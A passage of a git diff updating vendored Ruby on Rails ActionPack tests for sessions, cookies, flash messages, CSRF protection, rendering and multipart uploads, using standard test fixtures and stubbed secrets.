response.body + get '/get_session_value' + assert_response :success + assert_equal 'foo: "baz"', response.body + end + end end end @@ -107,6 +110,38 @@ class ActiveRecordStoreTest < ActionController::IntegrationTest end end + def test_getting_session_value + with_test_route_set do + get '/set_session_value' + assert_response :success + assert cookies['_session_id'] + + get '/get_session_value' + assert_response :success + assert_equal nil, headers['Set-Cookie'], "should not resend the cookie again if session_id cookie is already exists" + session_id = cookies["_session_id"] + + get '/call_reset_session' + assert_response :success + assert_not_equal [], headers['Set-Cookie'] + + cookies["_session_id"] = session_id # replace our new session_id with our old, pre-reset session_id + + get '/get_session_value' + assert_response :success + assert_equal 'foo: nil', response.body, "data for this session should have been obliterated from the database" + end + end + + def test_getting_from_nonexistent_session + with_test_route_set do + get '/get_session_value' + assert_response :success + assert_equal 'foo: nil', response.body + assert_nil cookies['_session_id'], "should only create session on write, not read" + end + end + def test_prevents_session_fixation with_test_route_set do get '/set_session_value' @@ -171,4 +206,16 @@ class ActiveRecordStoreTest < ActionController::IntegrationTest yield end end + + def with_store(class_name) + begin + session_class = ActiveRecord::SessionStore.session_class + ActiveRecord::SessionStore.session_class = "ActiveRecord::SessionStore::#{class_name.camelize}".constantize + yield + rescue + ActiveRecord::SessionStore.session_class = session_class + raise + end + end + end diff --git a/vendor/rails/actionpack/test/controller/action_pack_assertions_test.rb b/vendor/rails/actionpack/test/controller/action_pack_assertions_test.rb index 6e92eff0..ec7e2164 100644 --- a/vendor/rails/actionpack/test/controller/action_pack_assertions_test.rb +++ b/vendor/rails/actionpack/test/controller/action_pack_assertions_test.rb @@ -458,7 +458,9 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase def test_redirected_to_url_no_leadling_slash process :redirect_to_path - assert_redirected_to 'some/path' + assert_deprecated /leading/ do + assert_redirected_to 'some/path' + end end def test_redirected_to_url_full_url diff --git a/vendor/rails/actionpack/test/controller/assert_select_test.rb b/vendor/rails/actionpack/test/controller/assert_select_test.rb index 298c7e4d..58fcaa95 100644 --- a/vendor/rails/actionpack/test/controller/assert_select_test.rb +++ b/vendor/rails/actionpack/test/controller/assert_select_test.rb @@ -1,3 +1,4 @@ +# encoding: us-ascii #-- # Copyright (c) 2006 Assaf Arkin (http://labnotes.org) # Under MIT and/or CC By license. @@ -209,13 +210,13 @@ class AssertSelectTest < ActionController::TestCase assert_nothing_raised { assert_select "div", "foo" } assert_nothing_raised { assert_select "div", "bar" } assert_nothing_raised { assert_select "div", /\w*/ } - assert_nothing_raised { assert_select "div", /\w*/, :count=>2 } - assert_raise(Assertion) { assert_select "div", :text=>"foo", :count=>2 } + assert_nothing_raised { assert_select "div", :text => /\w*/, :count=>2 } + assert_raise(Assertion) { assert_select "div", :text=>"foo", :count=>2 } assert_nothing_raised { assert_select "div", :html=>"bar" } assert_nothing_raised { assert_select "div", :html=>"bar" } assert_nothing_raised { assert_select "div", :html=>/\w*/ } assert_nothing_raised { assert_select "div", :html=>/\w*/, :count=>2 } - assert_raise(Assertion) { assert_select "div", :html=>"foo", :count=>2 } + assert_raise(Assertion) { assert_select "div", :html=>"foo", :count=>2 } end end @@ -267,8 +268,8 @@ class AssertSelectTest < ActionController::TestCase def test_css_select render_html %Q{
    } - assert 2, css_select("div").size - assert 0, css_select("p").size + assert_equal 2, css_select("div").size + assert_equal 0, css_select("p").size end def test_nested_css_select diff --git a/vendor/rails/actionpack/test/controller/caching_test.rb b/vendor/rails/actionpack/test/controller/caching_test.rb index 223f5f70..d67e31f7 100644 --- a/vendor/rails/actionpack/test/controller/caching_test.rb +++ b/vendor/rails/actionpack/test/controller/caching_test.rb @@ -604,7 +604,7 @@ class FragmentCachingTest < ActionController::TestCase @store.write('views/expensive', 'fragment content') fragment_computed = false - buffer = 'generated till now -> ' + buffer = 'generated till now -> '.html_safe @controller.fragment_for(buffer, 'expensive') { fragment_computed = true } assert fragment_computed @@ -615,12 +615,26 @@ class FragmentCachingTest < ActionController::TestCase @store.write('views/expensive', 'fragment content') fragment_computed = false - buffer = 'generated till now -> ' + buffer = 'generated till now -> '.html_safe @controller.fragment_for(buffer, 'expensive') { fragment_computed = true } assert !fragment_computed assert_equal 'generated till now -> fragment content', buffer end + + def test_html_safety + assert_nil @store.read('views/name') + content = 'value'.html_safe + assert_equal content, @controller.write_fragment('name', content) + + cached = @store.read('views/name') + assert_equal content, cached + assert_equal String, cached.class + + html_safe = @controller.read_fragment('name') + assert_equal content, html_safe + assert html_safe.html_safe? + end end class FunctionalCachingController < ActionController::Base diff --git a/vendor/rails/actionpack/test/controller/capture_test.rb b/vendor/rails/actionpack/test/controller/capture_test.rb index 6dfa0995..56e37018 100644 --- a/vendor/rails/actionpack/test/controller/capture_test.rb +++ b/vendor/rails/actionpack/test/controller/capture_test.rb @@ -36,7 +36,7 @@ class CaptureTest < ActionController::TestCase def test_simple_capture get :capturing - assert_equal "Dreamy days", @response.body.strip + assert_equal "

    Dreamy days

    ", @response.body.strip end def test_content_for diff --git a/vendor/rails/actionpack/test/controller/cookie_test.rb b/vendor/rails/actionpack/test/controller/cookie_test.rb index e11f04ff..f517fdfe 100644 --- a/vendor/rails/actionpack/test/controller/cookie_test.rb +++ b/vendor/rails/actionpack/test/controller/cookie_test.rb @@ -2,6 +2,8 @@ require 'abstract_unit' class CookieTest < ActionController::TestCase class TestController < ActionController::Base + self.cookie_verifier_secret = "thisISverySECRET123" + def authenticate cookies["user_name"] = "david" end @@ -39,6 +41,22 @@ class CookieTest < ActionController::TestCase def authenticate_with_http_only cookies["user_name"] = { :value => "david", :httponly => true } end + + def authenticate_with_secure + cookies["user_name"] = { :value => "david", :secure => true } + end + + def set_permanent_cookie + cookies.permanent[:user_name] = "Jamie" + end + + def set_signed_cookie + cookies.signed[:user_id] = 45 + end + + def set_permanent_signed_cookie + cookies.permanent.signed[:remember_me] = 100 + end def rescue_action(e) raise unless ActionView::MissingTemplate # No templates here, and we don't care about the output @@ -80,6 +98,27 @@ class CookieTest < ActionController::TestCase assert_equal ["user_name=david; path=/; HttpOnly"], @response.headers["Set-Cookie"] assert_equal({"user_name" => "david"}, @response.cookies) end + + def test_setting_cookie_with_secure + @request.env["HTTPS"] = "on" + get :authenticate_with_secure + assert_equal ["user_name=david; path=/; secure"], @response.headers["Set-Cookie"] + assert_equal({"user_name" => "david"}, @response.cookies) + end + + def test_setting_cookie_with_secure_in_development + with_environment(:development) do + get :authenticate_with_secure + assert_equal ["user_name=david; path=/; secure"], @response.headers["Set-Cookie"] + assert_equal({"user_name" => "david"}, @response.cookies) + end + end + + def test_not_setting_cookie_with_secure + get :authenticate_with_secure + assert_not_equal ["user_name=david; path=/; secure"], @response.headers["Set-Cookie"] + assert_not_equal({"user_name" => "david"}, @response.cookies) + end def test_multiple_cookies get :set_multiple_cookies @@ -131,4 +170,39 @@ class CookieTest < ActionController::TestCase cookies = @controller.send(:cookies) assert_equal 'david', cookies['user_name'] end -end + + def test_permanent_cookie + get :set_permanent_cookie + assert_match /Jamie/, @response.headers["Set-Cookie"].first + assert_match %r(#{20.years.from_now.year}), @response.headers["Set-Cookie"].first + end + + def test_signed_cookie + get :set_signed_cookie + assert_equal 45, @controller.send(:cookies).signed[:user_id] + end + + def test_accessing_nonexistant_signed_cookie_should_not_raise_an_invalid_signature + get :set_signed_cookie + assert_nil @controller.send(:cookies).signed[:non_existant_attribute] + end + + def test_permanent_signed_cookie + get :set_permanent_signed_cookie + assert_match %r(#{20.years.from_now.year}), @response.headers["Set-Cookie"].first + assert_equal 100, @controller.send(:cookies).signed[:remember_me] + end + + private + def with_environment(enviroment) + old_rails = Object.const_get(:Rails) rescue nil + mod = Object.const_set(:Rails, Module.new) + (class << mod; self; end).instance_eval do + define_method(:env) { @_env ||= ActiveSupport::StringInquirer.new(enviroment.to_s) } + end + yield + ensure + Object.module_eval { remove_const(:Rails) } if defined?(Rails) + Object.const_set(:Rails, old_rails) if old_rails + end +end \ No newline at end of file diff --git a/vendor/rails/actionpack/test/controller/flash_test.rb b/vendor/rails/actionpack/test/controller/flash_test.rb index 81c724a5..daca8806 100644 --- a/vendor/rails/actionpack/test/controller/flash_test.rb +++ b/vendor/rails/actionpack/test/controller/flash_test.rb @@ -71,6 +71,18 @@ class FlashTest < ActionController::TestCase redirect_to :action => "std_action" @flash_copy = {}.update(flash) end + + def redirect_with_alert + redirect_to '/nowhere', :alert => "Beware the nowheres!" + end + + def redirect_with_notice + redirect_to '/somewhere', :notice => "Good luck in the somewheres!" + end + + def redirect_with_other_flashes + redirect_to '/wonderland', :flash => { :joyride => "Horses!" } + end end tests TestController @@ -144,4 +156,19 @@ class FlashTest < ActionController::TestCase get :std_action assert_nil session["flash"] end -end + + def test_redirect_to_with_alert + get :redirect_with_alert + assert_equal "Beware the nowheres!", @controller.send(:flash)[:alert] + end + + def test_redirect_to_with_notice + get :redirect_with_notice + assert_equal "Good luck in the somewheres!", @controller.send(:flash)[:notice] + end + + def test_redirect_to_with_other_flashes + get :redirect_with_other_flashes + assert_equal "Horses!", @controller.send(:flash)[:joyride] + end +end \ No newline at end of file diff --git a/vendor/rails/actionpack/test/controller/helper_test.rb b/vendor/rails/actionpack/test/controller/helper_test.rb index 5f36461b..49145864 100644 --- a/vendor/rails/actionpack/test/controller/helper_test.rb +++ b/vendor/rails/actionpack/test/controller/helper_test.rb @@ -87,7 +87,7 @@ class HelperTest < Test::Unit::TestCase assert_nothing_raised { @controller_class.helper { include HelperTest::TestHelper } } - assert [], missing_methods + assert_equal [], missing_methods end def test_helper_method diff --git a/vendor/rails/actionpack/test/controller/integration_test.rb b/vendor/rails/actionpack/test/controller/integration_test.rb index 3869f9db..d1bb19c3 100644 --- a/vendor/rails/actionpack/test/controller/integration_test.rb +++ b/vendor/rails/actionpack/test/controller/integration_test.rb @@ -227,6 +227,24 @@ class IntegrationTestTest < Test::Unit::TestCase end end +require 'active_record_unit' +# Tests that fixtures are accessible in the integration test sessions +class IntegrationTestWithFixtures < ActiveRecordTestCase + include ActionController::Integration::Runner + + fixtures :companies + + def test_fixtures_in_new_session + sym = :thirty_seven_signals + # fixtures are accessible in main session + assert_not_nil companies(sym) + + # create a new session and the fixtures should be accessible in it as well + session1 = open_session { |sess| } + assert_not_nil session1.companies(sym) + end +end + # Tests that integration tests don't call Controller test methods for processing. # Integration tests have their own setup and teardown. class IntegrationTestUsesCorrectClass < ActionController::IntegrationTest @@ -266,6 +284,14 @@ class IntegrationProcessTest < ActionController::IntegrationTest render :text => "foo(1i): #{params[:"foo(1i)"]}, foo(2i): #{params[:"foo(2i)"]}, filesize: #{params[:file].size}", :status => 200 end + def multipart_post_with_nested_params + render :text => "foo: #{params[:foo][0]}, #{params[:foo][1]}; [filesize: #{params[:file_list][0][:content].size}, filesize: #{params[:file_list][1][:content].size}]", :status => 200 + end + + def multipart_post_with_multiparameter_complex_params + render :text => "foo(1i): #{params[:"foo(1i)"]}, foo(2i): #{params[:"foo(2i)"]}, [filesize: #{params[:file_list][0][:content].size}, filesize: #{params[:file_list][1][:content].size}]", :status => 200 + end + def post render :text => "Created", :status => 201 end @@ -324,7 +350,6 @@ class IntegrationProcessTest < ActionController::IntegrationTest assert_equal "Gone", status_message assert_response 410 assert_response :gone - assert_equal "cookie_1=; path=/\ncookie_3=chocolate; path=/", headers["Set-Cookie"] assert_equal({"cookie_1"=>"", "cookie_2"=>"oatmeal", "cookie_3"=>"chocolate"}, cookies) assert_equal "Gone", response.body end @@ -406,6 +431,24 @@ class IntegrationProcessTest < ActionController::IntegrationTest end end + def test_multipart_post_with_nested_params + with_test_route_set do + post '/multipart_post_with_nested_params', :"foo" => ['a', 'b'], :file_list => [{:content => fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg")}, {:content => fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg")}] + + assert_equal 200, status + assert_equal "foo: a, b; [filesize: 159528, filesize: 159528]", response.body + end + end + + def test_multipart_post_with_multiparameter_complex_attribute_parameters + with_test_route_set do + post '/multipart_post_with_multiparameter_complex_params', :"foo(1i)" => "bar", :"foo(2i)" => "baz", :file_list => [{:content => fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg")}, {:content => fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg")}] + + assert_equal 200, status + assert_equal "foo(1i): bar, foo(2i): baz, [filesize: 159528, filesize: 159528]", response.body + end + end + def test_head with_test_route_set do head '/get' diff --git a/vendor/rails/actionpack/test/controller/localized_templates_test.rb b/vendor/rails/actionpack/test/controller/localized_templates_test.rb new file mode 100644 index 00000000..e89e5a81 --- /dev/null +++ b/vendor/rails/actionpack/test/controller/localized_templates_test.rb @@ -0,0 +1,24 @@ +require 'abstract_unit' + +class LocalizedController < ActionController::Base + def hello_world + end +end + +class LocalizedTemplatesTest < ActionController::TestCase + tests LocalizedController + + teardown { I18n.locale = :en } + + def test_localized_template_is_used + I18n.locale = :de + get :hello_world + assert_equal "Gutten Tag", @response.body + end + + def test_default_locale_template_is_used_when_locale_is_missing + I18n.locale = :dk + get :hello_world + assert_equal "Hello World", @response.body + end +end \ No newline at end of file diff --git a/vendor/rails/actionpack/test/controller/output_escaping_test.rb b/vendor/rails/actionpack/test/controller/output_escaping_test.rb new file mode 100644 index 00000000..43a8c05c --- /dev/null +++ b/vendor/rails/actionpack/test/controller/output_escaping_test.rb @@ -0,0 +1,19 @@ +require 'abstract_unit' + +class OutputEscapingTest < ActiveSupport::TestCase + + test "escape_html shouldn't die when passed nil" do + assert ERB::Util.h(nil).blank? + end + + test "escapeHTML should escape strings" do + assert_equal "<>"", ERB::Util.h("<>\"") + end + + test "escapeHTML shouldn't touch explicitly safe strings" do + # TODO this seems easier to compose and reason about, but + # this should be verified + assert_equal "<", ERB::Util.h("<".html_safe) + end + +end diff --git a/vendor/rails/actionpack/test/controller/rack_test.rb b/vendor/rails/actionpack/test/controller/rack_test.rb index aeace2b8..3d0643cf 100644 --- a/vendor/rails/actionpack/test/controller/rack_test.rb +++ b/vendor/rails/actionpack/test/controller/rack_test.rb @@ -219,7 +219,6 @@ class RackResponseTest < BaseRackTest "Content-Type" => "text/html; charset=utf-8", "Cache-Control" => "private, max-age=0, must-revalidate", "ETag" => '"65a8e27d8879283831b664bd8b7f0ad4"', - "Set-Cookie" => "", "Content-Length" => "13" }, headers) @@ -238,7 +237,6 @@ class RackResponseTest < BaseRackTest "Content-Type" => "text/html; charset=utf-8", "Cache-Control" => "private, max-age=0, must-revalidate", "ETag" => '"ebb5e89e8a94e9dd22abf5d915d112b2"', - "Set-Cookie" => "", "Content-Length" => "8" }, headers) end @@ -253,8 +251,7 @@ class RackResponseTest < BaseRackTest assert_equal 200, status assert_equal({ "Content-Type" => "text/html; charset=utf-8", - "Cache-Control" => "no-cache", - "Set-Cookie" => "" + "Cache-Control" => "no-cache" }, headers) parts = [] diff --git a/vendor/rails/actionpack/test/controller/reloader_test.rb b/vendor/rails/actionpack/test/controller/reloader_test.rb index e5305493..d78f8111 100644 --- a/vendor/rails/actionpack/test/controller/reloader_test.rb +++ b/vendor/rails/actionpack/test/controller/reloader_test.rb @@ -1,4 +1,5 @@ require 'abstract_unit' +require 'thread' class ReloaderTests < ActiveSupport::TestCase Reloader = ActionController::Reloader diff --git a/vendor/rails/actionpack/test/controller/render_test.rb b/vendor/rails/actionpack/test/controller/render_test.rb index 112e9efc..288260a2 100644 --- a/vendor/rails/actionpack/test/controller/render_test.rb +++ b/vendor/rails/actionpack/test/controller/render_test.rb @@ -652,6 +652,10 @@ class TestController < ActionController::Base render :partial => "customer_counter", :collection => [ Customer.new("david"), Customer.new("mary") ] end + def partial_collection_with_as_and_counter + render :partial => "customer_counter_with_as", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :client + end + def partial_collection_with_locals render :partial => "customer_greeting", :collection => [ Customer.new("david"), Customer.new("mary") ], :locals => { :greeting => "Bonjour" } end @@ -712,6 +716,11 @@ class TestController < ActionController::Base render :partial => "customer" end + def partial_with_implicit_local_assignment_and_nil_local + @customer = Customer.new("Marcel") + render :partial => "customer", :locals => { :customer => nil } + end + def render_call_to_partial_with_layout render :action => "calling_partial_with_layout" end @@ -1470,6 +1479,11 @@ class RenderTest < ActionController::TestCase assert_equal "david0mary1", @response.body end + def test_partial_collection_with_as_and_counter + get :partial_collection_with_as_and_counter + assert_equal "david0mary1", @response.body + end + def test_partial_collection_with_locals get :partial_collection_with_locals assert_equal "Bonjour: davidBonjour: mary", @response.body @@ -1534,6 +1548,13 @@ class RenderTest < ActionController::TestCase end end + def test_partial_with_implicit_local_assignment_and_nil_local + assert_not_deprecated do + get :partial_with_implicit_local_assignment_and_nil_local + assert_equal "Hello: Anonymous", @response.body + end + end + def test_render_missing_partial_template assert_raise(ActionView::MissingTemplate) do get :missing_partial @@ -1590,7 +1611,7 @@ class EtagRenderTest < ActionController::TestCase def test_render_blank_body_shouldnt_set_etag get :blank_response - assert !@response.etag? + assert !@response.etag?, @response.headers.inspect end def test_render_200_should_set_etag @@ -1609,7 +1630,7 @@ class EtagRenderTest < ActionController::TestCase def test_render_against_etag_request_should_have_no_content_length_when_match @request.if_none_match = etag_for("hello david") get :render_hello_world_from_variable - assert !@response.headers.has_key?("Content-Length"), @response.headers['Content-Length'] + assert_nil @response.headers["Content-Length"], @response.headers.inspect end def test_render_against_etag_request_should_200_when_no_match diff --git a/vendor/rails/actionpack/test/controller/request/multipart_params_parsing_test.rb b/vendor/rails/actionpack/test/controller/request/multipart_params_parsing_test.rb index cc81a87c..46aee378 100644 --- a/vendor/rails/actionpack/test/controller/request/multipart_params_parsing_test.rb +++ b/vendor/rails/actionpack/test/controller/request/multipart_params_parsing_test.rb @@ -14,6 +14,10 @@ class MultipartParamsParsingTest < ActionController::IntegrationTest def read render :text => "File: #{params[:uploaded_data].read}" end + + def read_complex + render :text => "File: #{params[:level0][:level1][0][:file_data].read}" + end end FIXTURE_PATH = File.dirname(__FILE__) + '/../../fixtures/multipart' @@ -133,6 +137,17 @@ class MultipartParamsParsingTest < ActionController::IntegrationTest end end + test "uploads and reads file in complex parameter" do + with_test_routing do + post '/read_complex', + :level0 => { + :level1 => [ { :file_data => fixture_file_upload(FIXTURE_PATH + "/hello.txt", "text/plain") } + ] + } + assert_equal "File: Hello", response.body + end + end + private def fixture(name) File.open(File.join(FIXTURE_PATH, name), 'rb') do |file| diff --git a/vendor/rails/actionpack/test/controller/request_forgery_protection_test.rb b/vendor/rails/actionpack/test/controller/request_forgery_protection_test.rb index c6ad4b92..75029057 100644 --- a/vendor/rails/actionpack/test/controller/request_forgery_protection_test.rb +++ b/vendor/rails/actionpack/test/controller/request_forgery_protection_test.rb @@ -23,6 +23,10 @@ module RequestForgeryProtectionActions render :text => 'pwn' end + def meta + render :inline => "<%= csrf_meta_tag %>" + end + def rescue_action(e) raise e end end @@ -32,6 +36,16 @@ class RequestForgeryProtectionController < ActionController::Base protect_from_forgery :only => :index end +class RequestForgeryProtectionControllerUsingOldBehaviour < ActionController::Base + include RequestForgeryProtectionActions + protect_from_forgery :only => %w(index meta) + + def handle_unverified_request + raise(ActionController::InvalidAuthenticityToken) + end +end + + class FreeCookieController < RequestForgeryProtectionController self.allow_forgery_protection = false @@ -54,158 +68,92 @@ end # common test methods module RequestForgeryProtectionTests - def teardown - ActionController::Base.request_forgery_protection_token = nil + def setup + @token = "cf50faa3fe97702ca1ae" + + ActiveSupport::SecureRandom.stubs(:base64).returns(@token) + ActionController::Base.request_forgery_protection_token = :authenticity_token end - + def test_should_render_form_with_token_tag - get :index - assert_select 'form>div>input[name=?][value=?]', 'authenticity_token', @token - end - - def test_should_render_button_to_with_token_tag - get :show_button - assert_select 'form>div>input[name=?][value=?]', 'authenticity_token', @token - end - - def test_should_render_remote_form_with_only_one_token_parameter - get :remote_form - assert_equal 1, @response.body.scan(@token).size - end - - def test_should_allow_get - get :index - assert_response :success - end - - def test_should_allow_post_without_token_on_unsafe_action - post :unsafe - assert_response :success - end - - def test_should_not_allow_html_post_without_token - @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s - assert_raise(ActionController::InvalidAuthenticityToken) { post :index, :format => :html } - end - - def test_should_not_allow_html_put_without_token - @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s - assert_raise(ActionController::InvalidAuthenticityToken) { put :index, :format => :html } - end - - def test_should_not_allow_html_delete_without_token - @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s - assert_raise(ActionController::InvalidAuthenticityToken) { delete :index, :format => :html } - end - - def test_should_allow_api_formatted_post_without_token - assert_nothing_raised do - post :index, :format => 'xml' + assert_not_blocked do + get :index end + assert_select 'form>div>input[name=?][value=?]', 'authenticity_token', @token end - def test_should_not_allow_api_formatted_put_without_token - assert_nothing_raised do - put :index, :format => 'xml' + def test_should_render_button_to_with_token_tag + assert_not_blocked do + get :show_button end + assert_select 'form>div>input[name=?][value=?]', 'authenticity_token', @token end - def test_should_allow_api_formatted_delete_without_token - assert_nothing_raised do - delete :index, :format => 'xml' - end + def test_should_allow_get + assert_not_blocked { get :index } end - def test_should_not_allow_api_formatted_post_sent_as_url_encoded_form_without_token - assert_raise(ActionController::InvalidAuthenticityToken) do - @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s - post :index, :format => 'xml' - end + def test_should_allow_post_without_token_on_unsafe_action + assert_not_blocked { post :unsafe } end - def test_should_not_allow_api_formatted_put_sent_as_url_encoded_form_without_token - assert_raise(ActionController::InvalidAuthenticityToken) do - @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s - put :index, :format => 'xml' - end + def test_should_not_allow_post_without_token + assert_blocked { post :index } end - def test_should_not_allow_api_formatted_delete_sent_as_url_encoded_form_without_token - assert_raise(ActionController::InvalidAuthenticityToken) do - @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s - delete :index, :format => 'xml' - end + def test_should_not_allow_post_without_token_irrespective_of_format + assert_blocked { post :index, :format=>'xml' } end - def test_should_not_allow_api_formatted_post_sent_as_multipart_form_without_token - assert_raise(ActionController::InvalidAuthenticityToken) do - @request.env['CONTENT_TYPE'] = Mime::MULTIPART_FORM.to_s - post :index, :format => 'xml' - end + def test_should_not_allow_put_without_token + assert_blocked { put :index } end - def test_should_not_allow_api_formatted_put_sent_as_multipart_form_without_token - assert_raise(ActionController::InvalidAuthenticityToken) do - @request.env['CONTENT_TYPE'] = Mime::MULTIPART_FORM.to_s - put :index, :format => 'xml' - end + def test_should_not_allow_delete_without_token + assert_blocked { delete :index } end - def test_should_not_allow_api_formatted_delete_sent_as_multipart_form_without_token - assert_raise(ActionController::InvalidAuthenticityToken) do - @request.env['CONTENT_TYPE'] = Mime::MULTIPART_FORM.to_s - delete :index, :format => 'xml' - end + def test_should_not_allow_xhr_post_without_token + assert_blocked { xhr :post, :index } end - - def test_should_allow_xhr_post_without_token - assert_nothing_raised { xhr :post, :index } - end - - def test_should_allow_xhr_put_without_token - assert_nothing_raised { xhr :put, :index } - end - - def test_should_allow_xhr_delete_without_token - assert_nothing_raised { xhr :delete, :index } - end - - def test_should_allow_xhr_post_with_encoded_form_content_type_without_token - @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s - assert_nothing_raised { xhr :post, :index } - end - + def test_should_allow_post_with_token - post :index, :authenticity_token => @token - assert_response :success + assert_not_blocked { post :index, :authenticity_token => @token } end def test_should_allow_put_with_token - put :index, :authenticity_token => @token - assert_response :success + assert_not_blocked { put :index, :authenticity_token => @token } end def test_should_allow_delete_with_token - delete :index, :authenticity_token => @token + assert_not_blocked { delete :index, :authenticity_token => @token } + end + + def test_should_allow_post_with_token_in_header + @request.env['HTTP_X_CSRF_TOKEN'] = @token + assert_not_blocked { post :index } + end + + def test_should_allow_delete_with_token_in_header + @request.env['HTTP_X_CSRF_TOKEN'] = @token + assert_not_blocked { delete :index } + end + + def test_should_allow_put_with_token_in_header + @request.env['HTTP_X_CSRF_TOKEN'] = @token + assert_not_blocked { put :index } + end + + def assert_blocked + session[:something_like_user_id] = 1 + yield + assert_nil session[:something_like_user_id], "session values are still present" assert_response :success end - def test_should_allow_post_with_xml - @request.env['CONTENT_TYPE'] = Mime::XML.to_s - post :index, :format => 'xml' - assert_response :success - end - - def test_should_allow_put_with_xml - @request.env['CONTENT_TYPE'] = Mime::XML.to_s - put :index, :format => 'xml' - assert_response :success - end - - def test_should_allow_delete_with_xml - @request.env['CONTENT_TYPE'] = Mime::XML.to_s - delete :index, :format => 'xml' + def assert_not_blocked + assert_nothing_raised { yield } assert_response :success end end @@ -214,15 +162,20 @@ end class RequestForgeryProtectionControllerTest < ActionController::TestCase include RequestForgeryProtectionTests - def setup - @controller = RequestForgeryProtectionController.new - @request = ActionController::TestRequest.new - @request.format = :html - @response = ActionController::TestResponse.new - @token = "cf50faa3fe97702ca1ae" - ActiveSupport::SecureRandom.stubs(:base64).returns(@token) - ActionController::Base.request_forgery_protection_token = :authenticity_token + test 'should emit a csrf-token meta tag' do + ActiveSupport::SecureRandom.stubs(:base64).returns(@token + '<=?') + get :meta + assert_equal %(\n), @response.body + end +end + +class RequestForgeryProtectionControllerUsingOldBehaviourTest < ActionController::TestCase + include RequestForgeryProtectionTests + def assert_blocked + assert_raises(ActionController::InvalidAuthenticityToken) do + yield + end end end @@ -251,15 +204,30 @@ class FreeCookieControllerTest < ActionController::TestCase assert_nothing_raised { send(method, :index)} end end + + test 'should not emit a csrf-token meta tag' do + get :meta + assert_blank @response.body + end end + + + + class CustomAuthenticityParamControllerTest < ActionController::TestCase def setup + ActionController::Base.request_forgery_protection_token = :custom_token_name + super + end + + def teardown ActionController::Base.request_forgery_protection_token = :authenticity_token + super end def test_should_allow_custom_token - post :index, :authenticity_token => 'foobar' + post :index, :custom_token_name => 'foobar' assert_response :ok end end diff --git a/vendor/rails/actionpack/test/controller/rescue_test.rb b/vendor/rails/actionpack/test/controller/rescue_test.rb index 5709f37e..58fccdce 100644 --- a/vendor/rails/actionpack/test/controller/rescue_test.rb +++ b/vendor/rails/actionpack/test/controller/rescue_test.rb @@ -281,17 +281,22 @@ class RescueControllerTest < ActionController::TestCase end def test_local_request_when_remote_addr_is_localhost - @controller.expects(:request).returns(@request).at_least_once - with_remote_addr '127.0.0.1' do - assert @controller.send(:local_request?) + @controller.expects(:request).returns(@request).at_least(10) + ['127.0.0.1', '127.0.0.127', '::1', '0:0:0:0:0:0:0:1', '0:0:0:0:0:0:0:1%0'].each do |ip_address| + with_remote_addr ip_address do + assert @controller.send(:local_request?) + end end end def test_local_request_when_remote_addr_isnt_locahost - @controller.expects(:request).returns(@request) + @controller.expects(:request).returns(@request).at_least(4) with_remote_addr '1.2.3.4' do assert !@controller.send(:local_request?) end + with_remote_addr '2002::102:304' do + assert !@controller.send(:local_request?) + end end def test_rescue_responses diff --git a/vendor/rails/actionpack/test/controller/routing_test.rb b/vendor/rails/actionpack/test/controller/routing_test.rb index 81b015b7..fc4804f7 100644 --- a/vendor/rails/actionpack/test/controller/routing_test.rb +++ b/vendor/rails/actionpack/test/controller/routing_test.rb @@ -1,3 +1,4 @@ +# encoding: us-ascii require 'abstract_unit' require 'controller/fake_controllers' require 'action_controller/routing/route_set' diff --git a/vendor/rails/actionpack/test/controller/send_file_test.rb b/vendor/rails/actionpack/test/controller/send_file_test.rb index f61bbc60..a8e1afc7 100644 --- a/vendor/rails/actionpack/test/controller/send_file_test.rb +++ b/vendor/rails/actionpack/test/controller/send_file_test.rb @@ -73,7 +73,7 @@ class SendFileTest < ActionController::TestCase assert_equal @controller.file_path, response.headers['X-Sendfile'] assert response.body.blank? - assert !response.etag? + assert !response.etag?, response.headers.inspect end def test_data diff --git a/vendor/rails/actionpack/test/controller/session/cookie_store_test.rb b/vendor/rails/actionpack/test/controller/session/cookie_store_test.rb index 40fcd568..b7b922c3 100644 --- a/vendor/rails/actionpack/test/controller/session/cookie_store_test.rb +++ b/vendor/rails/actionpack/test/controller/session/cookie_store_test.rb @@ -6,7 +6,6 @@ class CookieStoreTest < ActionController::IntegrationTest SessionSecret = 'b3c631c314c0bbca50c1b2843150fe33' DispatcherApp = ActionController::Dispatcher.new - CookieStoreApp = ActionController::Session::CookieStore.new(DispatcherApp, :key => SessionKey, :secret => SessionSecret) Verifier = ActiveSupport::MessageVerifier.new(SessionSecret, 'SHA1') @@ -34,6 +33,15 @@ class CookieStoreTest < ActionController::IntegrationTest render :text => "foo: #{session[:foo].inspect}; id: #{request.session_options[:id]}" end + def get_session_id_only + render :text => "id: #{request.session_options[:id]}" + end + + def call_session_clear + session.clear + head :ok + end + def call_reset_session reset_session head :ok @@ -44,11 +52,13 @@ class CookieStoreTest < ActionController::IntegrationTest head :ok end - def rescue_action(e) raise end - end + def set_session_value_and_cookie + cookies["foo"] = "bar" + session[:foo] = "bar" + render :text => Rack::Utils.escape(Verifier.generate(session.to_hash)) + end - def setup - @integration_session = open_session(CookieStoreApp) + def rescue_action(e) raise end end def test_raises_argument_error_if_missing_session_key @@ -121,6 +131,10 @@ class CookieStoreTest < ActionController::IntegrationTest get '/get_session_id' assert_response :success assert_equal "foo: \"bar\"; id: #{session_id}", response.body + + get '/get_session_id_only' + assert_response :success + assert_equal "id: #{session_id}", response.body, "should be able to read session id without accessing the session hash" end end @@ -133,6 +147,23 @@ class CookieStoreTest < ActionController::IntegrationTest end end + def test_does_not_set_secure_cookies_over_http + with_test_route_set(:secure => true) do + get '/set_session_value' + assert_response :success + assert_equal nil, headers['Set-Cookie'] + end + end + + def test_does_set_secure_cookies_over_https + with_test_route_set(:secure => true) do + get '/set_session_value', nil, 'HTTPS' => 'on' + assert_response :success + assert_equal "_myapp_session=#{response.body}; path=/; secure; 